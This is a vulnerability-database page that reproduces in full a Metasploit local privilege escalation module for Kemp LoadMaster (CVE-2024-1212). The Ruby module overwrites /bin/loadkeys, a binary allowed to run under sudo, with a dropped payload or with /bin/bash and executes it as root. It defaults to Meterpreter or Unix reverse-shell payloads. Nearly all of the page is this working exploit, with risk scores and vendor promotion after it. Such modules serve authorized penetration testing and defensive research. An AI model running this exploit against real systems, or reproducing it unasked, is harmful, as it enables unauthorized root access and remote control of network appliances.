Lucene search
K

Kemp LoadMaster Local sudo privilege escalation

🗓️ 10 May 2024 19:56:04Reported by Dave Yesland with Rhino Security Labs, bwatters-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 205 Views

Kemp LoadMaster sudo privilege escalation. Exploits sudo binary file feature to auto-elevate with overwritten file.

Related
Code
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Post::File

  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kemp LoadMaster Local sudo privilege escalation',
        'Description' => %q{
          This module abuses a feature of the sudo command on Progress Kemp
          LoadMaster.  Certain binary files are allowed to automatically elevate
          with the sudo command.  This is based off of the file name.  Some files
          have this permission are not write-protected from the default 'bal' user.
          As such, if the file is overwritten with an arbitrary file, it will still
          auto-elevate.  This module overwrites the /bin/loadkeys file with another
          executable.
        },
        'Author' => [
          'Dave Yesland with Rhino Security Labs',
          'bwatters-r7' # module,
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-1212'],
          # The vendor declared this was not a vulnerability so no CVE has been assigned.
          ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],
          ['URL', 'https://kemptechnologies.com/kemp-load-balancers']
        ],
        'DisclosureDate' => '2024-03-19',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
          'Reliability' => [ REPEATABLE_SESSION ]
        },
        'SessionTypes' => ['shell', 'meterpreter'],
        'Platform' => ['unix', 'linux'],
        'Targets' => [
          [
            'Dropper',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Command',
            {
              'Arch' => [ARCH_CMD],
              'Type' => :command,
              'Payload' =>
                {
                  'BadChars' => "\x27",
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic gawk telnet ssh echo'
                    }
                },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse'
              }
            }
          ]
        ],
        'Privileged' => true
      )
    )
    register_options([
      OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),
      OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])
    ])
  end

  def check
    score = 0
    score += 1 if file?('/usr/wui/index.js') && read_file('/usr/wui/index.js').include?('KEMP')
    score += 1 if file?('/etc/motd') && read_file('/etc/motd').include?('Kemp LoadMaster')
    score += 1 if file?('/usr/wui/eula.kemp.html')
    return CheckCode::Detected("Found #{score} indicators this is a KEMP product") if score > 0

    CheckCode::Safe("Found #{score} indicators this is a KEMP product")
  end

  def verify_copy(src, dest, elevate)
    orig_file_hash = file_remote_digestmd5(src)
    vprint_status("Moving #{src} to #{dest}")
    if elevate
      output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")
    else
      output = cmd_exec("/bin/cp '#{src}' '#{dest}'")
    end
    return true if file_remote_digestmd5(dest) == orig_file_hash

    print_bad("Copy failed - #{output}")
    false
  end

  def execute_dropper(target_binary, binary_rename, temp_payload_path)
    vprint_status("Writing payload to #{temp_payload_path}")
    write_file(temp_payload_path, generate_payload_exe)
    chmod(temp_payload_path)
    register_file_for_cleanup(temp_payload_path)
    return unless verify_copy(target_binary, binary_rename, false)
    return unless verify_copy(temp_payload_path, target_binary, true)

    vprint_status("Running #{target_binary}")
    cmd_exec("sudo '#{target_binary}'")
  end

  def execute_command(target_binary, binary_rename, cmd)
    vprint_status('Preparing payload command')
    # save copy of target_binary
    return unless verify_copy(target_binary, binary_rename, false)
    return unless verify_copy('/bin/bash', target_binary, true)

    vprint_status('Running payload command')
    vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))
  end

  def exploit
    writable_dir = datastore['WRITABLE_DIR']
    if writable_dir.blank? || (writable_dir[-1] != '/')
      writable_dir += '/'
    end
    fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)
    target_binary = datastore['TARGET_BINARY']
    binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
    target_binary_hash = file_remote_digestmd5(target_binary)
    begin
      case target['Type']
      when :dropper
        temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"
        execute_dropper(target_binary, binary_rename, temp_payload)
      when :command
        execute_command(target_binary, binary_rename, payload.encoded)
      end
    ensure
      unless target_binary_hash == file_remote_digestmd5(target_binary)
        cmd_exec("sudo rm '#{target_binary}'")
        verify_copy(binary_rename, target_binary, true)
        cmd_exec("sudo rm '#{binary_rename}'")
      end
    end
    if target_binary_hash == file_remote_digestmd5(target_binary)
      print_good("#{target_binary} returned to original contents")
    else
      print_bad("#{target_binary} was not returned to original contents")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Jul 2026 19:05Current
9.2High risk
Vulners AI Score9.2
CVSS 3.19.8 - 10
EPSS0.95388
SSVC
205